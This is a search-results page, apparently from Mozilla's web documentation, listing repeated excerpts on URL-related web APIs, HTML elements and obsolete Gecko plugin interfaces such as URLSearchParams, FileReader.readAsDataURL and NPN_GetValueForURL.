...o, do i have to choose one or the other for my web site? yes, you need to choose one and stick with it. the choice of which one to have as your canonical location is yours, but if you choose one, stick with it. it will make your website appear more consistent to your users and to search engines. this includes always linking to the chosen domain (which shouldn't be hard if you're using relative
urls in your website) and always sharing links (by email/social networks, etc.) to the same domain. no, you can have two. what is important is that you are coherent and consistent with which one is the official domain. this official domain is called the canonical name. all your absolute links should use it. but even so, you can still have the other domain working: http allows two techniques so that ...
...ill have the other domain working: http allows two techniques so that it is clear for your users, or search engines, which domain is the canonical one, while still allowing the non-canonical domain to work and provide the expected pages. so, choose one of your domains as your canonical one! there are two techniques below to allow the non-canonical domain to work still. ...
...And 4 more matches
NPN_SetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows a plugin to change the stored information associated with a
url, in particular its cookies. (while the api theoretically allows the preferred proxy for a given
url to be changed, doing so does not have much meaning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npn
urlvcookie = 501, npn
urlvproxy } npn
urlvariable; nperror npn_setvaluefor
url(npp instance, npn
urlvariable variable, const char *
url, const char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the ty...
...note: the value may have internal null bytes and may not be null-terminated. len the length of the value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. ...
...note: the value may have internal null bytes and may not be null-terminated. len the length of the value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. ...
...And 3 more matches
nsIURLFormatter
the set of known variables is predefined. ...
...the set of known variables is predefined. ...
...the set of known variables is predefined. ...
...And 3 more matches
FileReaderSync.readAsDataURL() - Web APIs
exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been erased. ...
... exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been erased. ...
... exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been erased. ...
...And 3 more matches
URLUtilsReadOnly - Web APIs
the obsolete
urlutilsreadonly interface previously defined utility methods for working with
urls. these were then inherited by other interfaces, such as workerlocation.
urlutilsreadonly has been removed from the specification, and the properties it defined are now directly part of the affected interfaces. properties this interface doesn't inherit any properties.
urlutilsreadonly.href read only is a domstring containing the whole
url.
urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the
url, including the final ':'.
urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the
url.
urlutilsreadonly.hostname read only is a domstring containing the domain of the
url. ...
...donly.href read only is a domstring containing the whole
url.
urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the
url, including the final ':'.
urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the
url.
urlutilsreadonly.hostname read only is a domstring containing the domain of the
url.
urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location.
urlutilsreadonly.port read only is a domstring containing the port number of the
url.
urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the
url. ...
...hostname read only is a domstring containing the domain of the
url.
urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location.
urlutilsreadonly.port read only is a domstring containing the port number of the
url.
urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the
url.
urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the
url.
urlutilsreadonly.hash read only is a domstring containing a '#' followed by the fragment identifier of the
url. methods this interface doesn't inherit any methods.
urlutilsreadonly.tostring() returns a domstring containing the whole
url. it is a synonym for
urlutilsreadonly.href. bro...
...And 3 more matches
Urlbar-icons - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
... « xul reference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
...ference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
...And 2 more matches
nsIURLParser
netwerk/base/public/nsi
urlparser.idlscriptable specifies the interface to an
url parser that attempts to follow the definitions of rfc 2396. inherits from: nsisupports last changed in gecko 1.7 method overview void parseauthority(in string authority, in long authoritylen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parsefilename(in string filename, in long filenamelen, out unsigned long basenamepos, out long basenamelen, out unsigned long extensionpos, out long extensionlen); void parsefilepath(in string filepath, in long filepathlen, out unsigned long directorypos, out long directorylen, out unsigned long basenamepos, out long basename...
...sionlen); void parsepath(in string path, in long pathlen, out unsigned long filepathpos, out long filepathlen, out unsigned long parampos, out long paramlen, out unsigned long querypos, out long querylen, out unsigned long refpos, out long reflen); void parseserverinfo(in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parse
url(in string spec, in long speclen, out unsigned long schemepos, out long schemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen); void parseuserinfo(in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen); methods the string to parse in the methods m...
...hpos filepathlen parampos obsolete since gecko 9.0 paramlen obsolete since gecko 9.0 querypos querylen refpos reflen parseserverinfo() serverinfo = <hostname>:<port> void parseserverinfo( in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port ); parameters serverinfo serverinfolen hostnamepos hostnamelen port parse
url() breaks the
url string up into its 3 major components: a scheme, an authority section (hostname, and so on.), and a path. spec = <scheme>://<authority><path> void parse
url( in string spec, in long speclen, out unsigned long schemepos, out long schemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen ); parameters spec specle...
...And 2 more matches
File.getAsDataURL() - Web APIs
summary the getasdata
url provides a data:
url that encodes the entire contents of the referenced file. note: this method is obsolete; you should use the filereader method readasdata
url() instead. ...
... summary the getasdata
url provides a data:
url that encodes the entire contents of the referenced file. note: this method is obsolete; you should use the filereader method readasdata
url() instead. ...
... summary the getasdata
url provides a data:
url that encodes the entire contents of the referenced file. note: this method is obsolete; you should use the filereader method readasdata
url() instead. ...
...And 2 more matches
FileSystemEntry.toURL() - Web APIs
the filesystementry interface's method to
url() creates and returns a string containing a
url which can be used to identify the file system entry. this is done by exposing a new
url scheme—filesystem:—that can be used as the value of src and href attributes. syntax filesystementry.to
url([mimetype]); parameters mimetype optional an optional string specifying the mime type to use when interpreting the file. this can be used to help deal with files whose types aren't recognized automatically by the user agent. if this parameter is omitted, the user agent uses its standard algorithms to identify the file. ...
.... syntax filesystementry.to
url([mimetype]); parameters mimetype optional an optional string specifying the mime type to use when interpreting the file. this can be used to help deal with files whose types aren't recognized automatically by the user agent. if this parameter is omitted, the user agent uses its standard algorithms to identify the file. return value a domstring containing a
url that can then be used as a document reference in html content, or an empty string if the
url can't be generated (such as if the file system implementation doesn't support to
url()). example if you have a filesystemfileentry corresponding to an image file in a file system available to your web site or app, you can call to
url() to get its
url for use in html. if your site is located at http://my-a...
...such as if the file system implementation doesn't support to
url()). example if you have a filesystemfileentry corresponding to an image file in a file system available to your web site or app, you can call to
url() to get its
url for use in html. if your site is located at http://my-awesome-website.woot, and you have a temporary file system that contains an image file named awesomesauce.jpg, the
url returned by to
url() might be (depending on the browser's implementation) something like "filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg". ...
...And 2 more matches
MerchantValidationEvent.validationURL - Web APIs
once this has been loaded, it should be passed into complete(), either directly or using a promise. see merchant validation in payment processing concepts for more information on the merchant validation process. ...
...once this has been loaded, it should be passed into complete(), either directly or using a promise. see merchant validation in payment processing concepts for more information on the merchant validation process. ...
...once this has been loaded, it should be passed into complete(), either directly or using a promise. see merchant validation in payment processing concepts for more information on the merchant validation process. ...
...And 2 more matches
Resource URLs - HTTP
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...ng the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. resource
urls,
urls prefixed with the resource: scheme, are used by firefox and firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well. syntax resource
urls are composed of two parts: a prefix (resource:), and a
url pointing to the resource you want to load: resource://<
url> an example: resource://gre/res/svg.css when arrows are found in the resource
url's ('->'), it means that the first file loaded the next one: resource://<file-loader> -> <file-loaded> please refer to identifying resources on the web for more general details. in this articl...
...And 2 more matches
nsIFileURL
the getter returns a reference to an immutable object. callers must clone before attempting to modify the returned nsifile object. ...
...the getter returns a reference to an immutable object. callers must clone before attempting to modify the returned nsifile object. ...
...the getter returns a reference to an immutable object. callers must clone before attempting to modify the returned nsifile object. ...
...the getter returns a reference to an immutable object. callers must clone before attempting to modify the returned nsifile object. note: this constraint might not be enforced at runtime, so beware! the setter clones the nsifile object (allowing the caller to safely modify the nsifile object after setting it on this interface). ...
FileReader.readAsDataURL() - Web APIs
the readasdata
url method is used to read the contents of the specified blob or file. when the read operation is finished, the readystate becomes done, and the loadend is triggered. at that time, the result attribute contains the data as a data:
url representing the file's data as a base64 encoded string. note: the blob's result cannot be directly decoded as base64 without first removing the data-
url declaration preceding the base64-encoded data. to retrieve only the base64 encoded string, first remove data:*/*;base64, from the result. syntax instanceoffilereader.readasdata
url(blob); parameters blob the blob or file from which to read. example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previ...
...eight="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdata
url(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our exten...
...for a full compatibility code you can see our crossbrowser possible solution for image preview. see also this more powerful example. specifications specification status comment file ap...
... working draft initial definition ...
URLSearchParams.get() - Web APIs
the get() method of the
urlsearchparams interface returns the first value associated to the given search parameter. note: this feature is available in web workers. syntax
urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
... the get() method of the
urlsearchparams interface returns the first value associated to the given search parameter. note: this feature is available in web workers. syntax
urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
...arch parameter. note: this feature is available in web workers. syntax
urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
...: let params = new
urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment
urlthe definition of 'get()' in that specification. living standard initial definition. ...
URLUtilsReadOnly.hash - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
URLUtilsReadOnly.href - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
URLUtilsReadOnly.pathname - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
NPN_GetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary provides information to a plugin which is associated with a given
url, for example the cookies or preferred proxy. syntax #include <npapi.h> typedef enum { npn
urlvcookie = 501, npn
urlvproxy } npn
urlvariable; nperror npn_getvaluefor
url(npp instance, npn
urlvariable variable, const char *
url, char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the type of information to be retrieved (npn
urlvcookie or npn
urlvproxy)
url the
url for which to fetch information. value out parameter. the browser passes back the requ...
...the length of the returned value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. ...
... out parameter. the length of the returned value buffer. ...
openLocationLastURL.jsm
this component has been removed from the platform in firefox 29. (bug 953124) the openlocationlast
url.jsm javascript code module lets you set and retrieve the
url most recently opened using the "open location" option in the file menu. to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlast
url.jsm"); once you've imported the module, you can then use the openlocationlast
url object it exports. this object lets you fetch and change the
url that is placed in the "open location" dialog box when it opens. if the user is not in private browsing mode, this automatically updates the value of the general.open_location.last_
url preference. note: this module automatically handles private browsing mode for you. t...
... the
url that is placed in the "open location" dialog box when it opens. if the user is not in private browsing mode, this automatically updates the value of the general.open_location.last_
url preference. note: this module automatically handles private browsing mode for you. the value preserved across accesses is not preserved when the user exits private browsing mode. ...
...lly updates the value of the general.open_location.last_
url preference. note: this module automatically handles private browsing mode for you. the value preserved across accesses is not preserved when the user exits private browsing mode. using the openlocationlast
url object to get or set the value of the open location edit box, simply read the value of, or set the value of, the openlocationlast
url.value field: var
url = openlocationlast
url.value; openlocationlast
url.value = "http://www.mozilla.org/"; to reset the value of the edit box to the default (which is an empty string), you can call the reset() method: method overview reset() methods reset the reset() method resets the saved
url to the default, which is an empty string. reset(); parameters none. ...
Client.url - Web APIs
the
url read-only property of the client interface returns the
url of the current service worker client. syntax var client
url = client.
url; value a usvstring. ...
... working draft initial definition. ...
... working draft initial definition. ...
RTCIceServer.url - Web APIs
the obsolete rtciceserver dictionary's
url property specifies the
url of a single ice server to be used while negotiating connections. it was removed from the specification in june 2013 but is still broadly used in older examples and books, so we include documentation here to help adapt old code to new browsers. this property has been removed from the specification; while it's still supported by many browsers, it should no longer be used. you should instead use the newer
urls property, which allows you to optionally specify multiple
urls for the server. try to update any existing code to use that property instead. syntax var iceserver = { ...
url = iceserver
url, ... ...
...cation; while it's still supported by many browsers, it should no longer be used. you should instead use the newer
urls property, which allows you to optionally specify multiple
urls for the server. try to update any existing code to use that property instead. syntax var iceserver = { ...
url = iceserver
url, ... }; var server
url = iceserver.
url; iceserver.
url = iceserver
url; the value of this property is a domstring containing the full
url of a server to use during ice negotiation. ...
... }; var server
url = iceserver.
url; iceserver.
url = iceserver
url; the value of this property is a domstring containing the full
url of a server to use during ice negotiation. example this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection = new rtcpeerconnection({ iceservers: [ {
url: "stun:stunserver.example.org" } ] }); unfortunately, the only way to tell ice that the server has a backup domain name of stunserver2.example.org is to add a new entry to the iceservers array for it. the
urls property lets you include them both in one server, which is more readily maintainable. ...
URLUtilsReadOnly.host - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
URLUtilsReadOnly.hostname - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
URLUtilsReadOnly.port - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
URLUtilsReadOnly.protocol - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
URLUtilsReadOnly.search - Web APIs
living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
URLUtilsReadOnly.toString() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
Using URL values for the cursor property - CSS: Cascading Style Sheets
gecko 1.8 supports
url values for the css cursor property on windows and linux. mac support was added in gecko 2 (firefox 4). this allows specifying arbitrary images as mouse cursors — any image format supported by gecko can be used. syntax the basic (css 2.1) syntax for this property is: cursor: [ <
url> , ]* <keyword> this means that zero or more
urls may be specified (comma-separated), which must be followed by one of the keywords defined in the css specification, such as auto or pointer. for example, the following value would be allowed: cursor:
url(foo.cur),
url(http://www.example.com/bar.gif), auto; this will first try loading foo.cur. if that file does not exist or is not valid for some other reason, bar.gif is tried, and if that can't be used either, auto will be used. suppo...
....5): cursor: [ <uri> [ <x> <y> ]? , ]* <keyword> it allows specifying the coordinates of the cursor's hotspot, which will be clamped to the boundaries of the cursor image. if none are specified, the coordinates of the hotspot are read from the file itself (for cur and xbm files) or are set to the top left corner of the image. an example of the css3 syntax is: .foo { cursor: auto; cursor:
url(cursor1.png) 4 12, auto; } .bar { cursor: pointer; cursor:
url(cursor2.png) 2 2, pointer; } /* falls back onto 'auto' and 'pointer' in ie, but must be set separately */ the first number is the x-coordinate, and the second number is the y-coordinate. the example will set the hotspot to be the pixel at (4,12) from the top left (0,0). limitations all image formats supported by gecko can b...
...however, you should limit yourself to the size 32×32 for maximum compatibility with operating systems and platforms. (due to a bug in gecko 1.9.2-1.9.2.6, firefox 3.6-3.6.6 on windows limits to 32×32px. this is fixed in later versions.) translucent cursors are not supported on windows releases earlier than xp. this is a limitation of the operating system. transparency works on all platforms.
url values as cursors are supported in windows, os/2, and linux (when using gtk+ 2.4 or better) releases of mozilla. mac os x support was added with gecko 2 (firefox 4). ...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
if the document has no <base> elements, then baseuri defaults to location.href. content categories metadata content. permitted content none, it is an empty element. tag omission there must be no closing tag. permitted parents a <head> that doesn't contain another <base> element. ...
... <head> that doesn't contain another <base> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlbaseelement attributes this element's attributes include the global attributes. if either of the following attributes are specified, this element must come before other elements with attribute values of
urls, such as <link>’s href attribute. href the base
url to be used throughout the document for relative
urls. absolute and relative
urls are allowed. target a keyword or author-defined name of the default browsing context to show the results of navigation from <a>, <area>, or <form> elements without explicit target attributes. the following keywords have special meanings: _self (defaul...
...rent one and has no parent). if there is no parent, acts the same as _self. usage notes multiple <base> elements if multiple <base> elements are used, only the first href and first target are obeyed — all others are ignored. in-page anchors links pointing to a fragment in the document — e.g. <a href="#some-id"> — are resolved with the <base>, triggering an http request to the base
url with the fragment attached. for example: given <base href="https://example.com"> ...and this link: <a href="#anchor">anker</a> ...the link points to https://example.com/#anchor. open graph open graph tags do not acknowledge <base>, and should always have full absolute
urls. for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://...
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
use //# instead error type a warning that a syntaxerror occurred. javascript execution won't be halted. what went wrong? there is a deprecated source map syntax in a javascript source. javascript sources are often combined and minified to make delivering them from the server more efficient. with source maps, the debugger can map the code being executed to the original source files. ...
...specification changed the syntax due to a conflict with ie whenever it was found in the page after //@cc_on was interpreted to turn on conditional compilation in the ie jscript engine. ...
...nterpreted to turn on conditional compilation in the ie jscript engine. the conditional compilation comment in ie is a little known feature, but it broke source maps with jquery and other libraries. examples deprecated syntax syntax with the "@" sign is deprecated. ...
nsIExternalURLHandlerService
uriloader/exthandler/nsiexternal
urlhandlerservice.idlscriptable the external
url handler service is used for finding platform-specific applications for handling particular
urls. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsihandlerinfo get
urlhandlerinfofromos(in nsiuri a
url, out boolean afound); methods get
urlhandlerinfofromos() given a
url, looks up the handler info from the operating system. this should be overridden by each operating systems implementation. nsihandlerinfo get
urlhandlerinfofromos( in nsiuri a
url, out boolean afound ); parameters a
url the
url we are looking for. ...
...ofromos(in nsiuri a
url, out boolean afound); methods get
urlhandlerinfofromos() given a
url, looks up the handler info from the operating system. this should be overridden by each operating systems implementation. nsihandlerinfo get
urlhandlerinfofromos( in nsiuri a
url, out boolean afound ); parameters a
url the
url we are looking for. afound was an operating system default handler for this
url found? return value an nsihanderinfo for the protocol. ...
Response.url - Web APIs
the
url read-only property of the response interface contains the
url of the response. the value of the
url property will be the final
url obtained after any redirects. syntax var my
url = response.
url; value a usvstring. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response
url to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ur...
...
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response
url to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.
url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of '
url' in that specification. living standard initial definition ...
URL.origin - Web APIs
the origin read-only property of the
url interface returns a usvstring containing the unicode serialization of the origin of the represented
url. the exact structure varies depending on the type of
url: for http or https
urls, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified). for file:
urls, the value is browser dependant. for blob:
urls, the origin of the
url following blob: will be used, e.g "blob:https://mozilla.org" will be returned as "https://mozilla.org". note: this feature is available in web workers. syntax const originstring =
url.origin value a usvstring. ...
...e port (the default port, 80 and 443 respectively, if explicitely specified). for file:
urls, the value is browser dependant. for blob:
urls, the origin of the
url following blob: will be used, e.g "blob:https://mozilla.org" will be returned as "https://mozilla.org". note: this feature is available in web workers. syntax const originstring =
url.origin value a usvstring. examples const
url = new
url("blob:https://mozilla.org:443/") console.log(
url.origin); // logs 'https://mozilla.org' specifications specification status comment
urlthe definition of '
url.origin' in that specification. living standard initial definition. ...
URLSearchParams.append() - Web APIs
the append() method of the
urlsearchparams interface appends a specified key/value pair as a new search parameter. as shown in the example below, if the same key is appended multiple times it will appear in the parameter string multiple times for each value. note: this feature is available in web workers. syntax
urlsearchparams.append(name, value) parameters name the name of the parameter to append. value the value of the parameter to append. return value void. examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter. ...
... the name of the parameter to append. value the value of the parameter to append. return value void. examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment
urlthe definition of 'append()' in that specification. living standard initial definition. ...
URLSearchParams.sort() - Web APIs
the
urlsearchparams.sort() method sorts all key/value pairs contained in this object in place and returns undefined. the sort order is according to unicode code points of the keys. this method uses a stable sorting algorithm (i.e. the relative order between key/value pairs with equal keys will be preserved). note: this feature is available in web workers. syntax searchparams.sort(); parameters none. return value undefined. ...
...ntained in this object in place and returns undefined. the sort order is according to unicode code points of the keys. this method uses a stable sorting algorithm (i.e. the relative order between key/value pairs with equal keys will be preserved). note: this feature is available in web workers. syntax searchparams.sort(); parameters none. return value undefined. examples // create a test
urlsearchparams object var searchparams = new
urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment
urlthe definition of 'sort()' in that specification. living standard initial definition...
URLSearchParams.toString() - Web APIs
the tostring() method of the
urlsearchparams interface returns a query string suitable for use in a
url. note: this method returns the query string without the question mark. this is different from window.location.search, which includes it. note: this feature is available in web workers. syntax
urlsearchparams.tostring() parameters none. return value a domstring, without the question mark. (returns an empty string if no search parameters have been set.) examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter. ...
... value a domstring, without the question mark. (returns an empty string if no search parameters have been set.) examples let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let
url = new
url('https://example.com?foo=1&bar=2'); let params =
url.searchparams; // or even simpler let params = new
urlsearchparams('foo=1&bar=2'); specifications specification status comment
urlthe definition of 'tostring() (see "stringifier")' in that specification. living standard initial definition. ...
XMLHttpRequest.responseURL - Web APIs
the read-only xmlhttprequest.response
url property returns the serialized
url of the response or the empty string if the
url is null. if the
url is returned, any
url fragment present in the
url will be stripped away. the value of response
url will be the final
url obtained after any redirects. ...
...rl property returns the serialized
url of the response or the empty string if the
url is null. if the
url is returned, any
url fragment present in the
url will be stripped away. the value of response
url will be the final
url obtained after any redirects. ...
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
error type a warning. javascript execution won't be halted. what went wrong? a source map has been specified more than once for a given javascript source. javascript sources are often combined and minified to make delivering them from the server more efficient. with source maps, the debugger can map the code being executed to the original source files. ...
...are often combined and minified to make delivering them from the server more efficient. ...
start_url - Web app manifests
type string mandatory no the start_
url member is a string that represents the start
url of the web application — the prefered
url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon from a device's application menu or homescreen). note: the start_
url member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards. examples absolute
url "start_
url": "https://example.com" relative
url if the
url is relative, the manifest
url is used as the base
url to resolve it. ...
...n the user taps on the web application's icon from a device's application menu or homescreen). note: the start_
url member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards. examples absolute
url "start_
url": "https://example.com" relative
url if the
url is relative, the manifest
url is used as the base
url to resolve it. "start_
url": "../startpoint.html" specification specification status comment feedback web app manifestthe definition of 'start_
url' in that specification. working draft initial definition. web app manifest working group drafts ...
unparsed-entity-url - XPath
if the argument is not a string, it is converted using the rules of the string() function. the name should be an xml name. ...
...if the argument is not a string, it is converted using the rules of the string() function. the name should be an xml name. ...
net/url - Archive of obsolete content
experimental enables you to read content from a uri. globals functions readuri(uri, options) reads a uri and returns a promise. parameters uri : string the
url, as a string, to load. options : object optional options: name type sync boolean if this option is set to true, the promise returned will be resolved synchronously. defaults to false if not provided. charset string the character set to use when read the content of the uri given. defaults to utf-8 if not provided. returns promise : the promise that will be resolved with the content of the
url given. ...
Custom about: URLs - Archive of obsolete content
make sure to generate a unique aboutpage_id, see this page to learn more about generating uuid's: uuid. it is imported to queryinterface the components.manager otherwise this will not work. this example can be easily modified, just modify the global const at in the // globals section. in bug 1254752 things changed for firefox 48 and up. services.io.newchannel was deprecated, and the signature of the newchannel method changed. ...
Getting the page URL in NPAPI plugin - Archive of obsolete content
sometimes, you want to restrict an npapi plugin to be loadable only from a certain
url or domain or scheme. or whenever you make network requests yourself, you almost always need to enforce same-origin policy. there's unfortunately no trivial way to do that, but you can still do it, by asking the browser for the page
url during plugin initialization. then you can just refuse to do anything, if you don't like the
url, or you can compare it with the other
url you want to contact. so, how do we get at that page
url, i.e. the
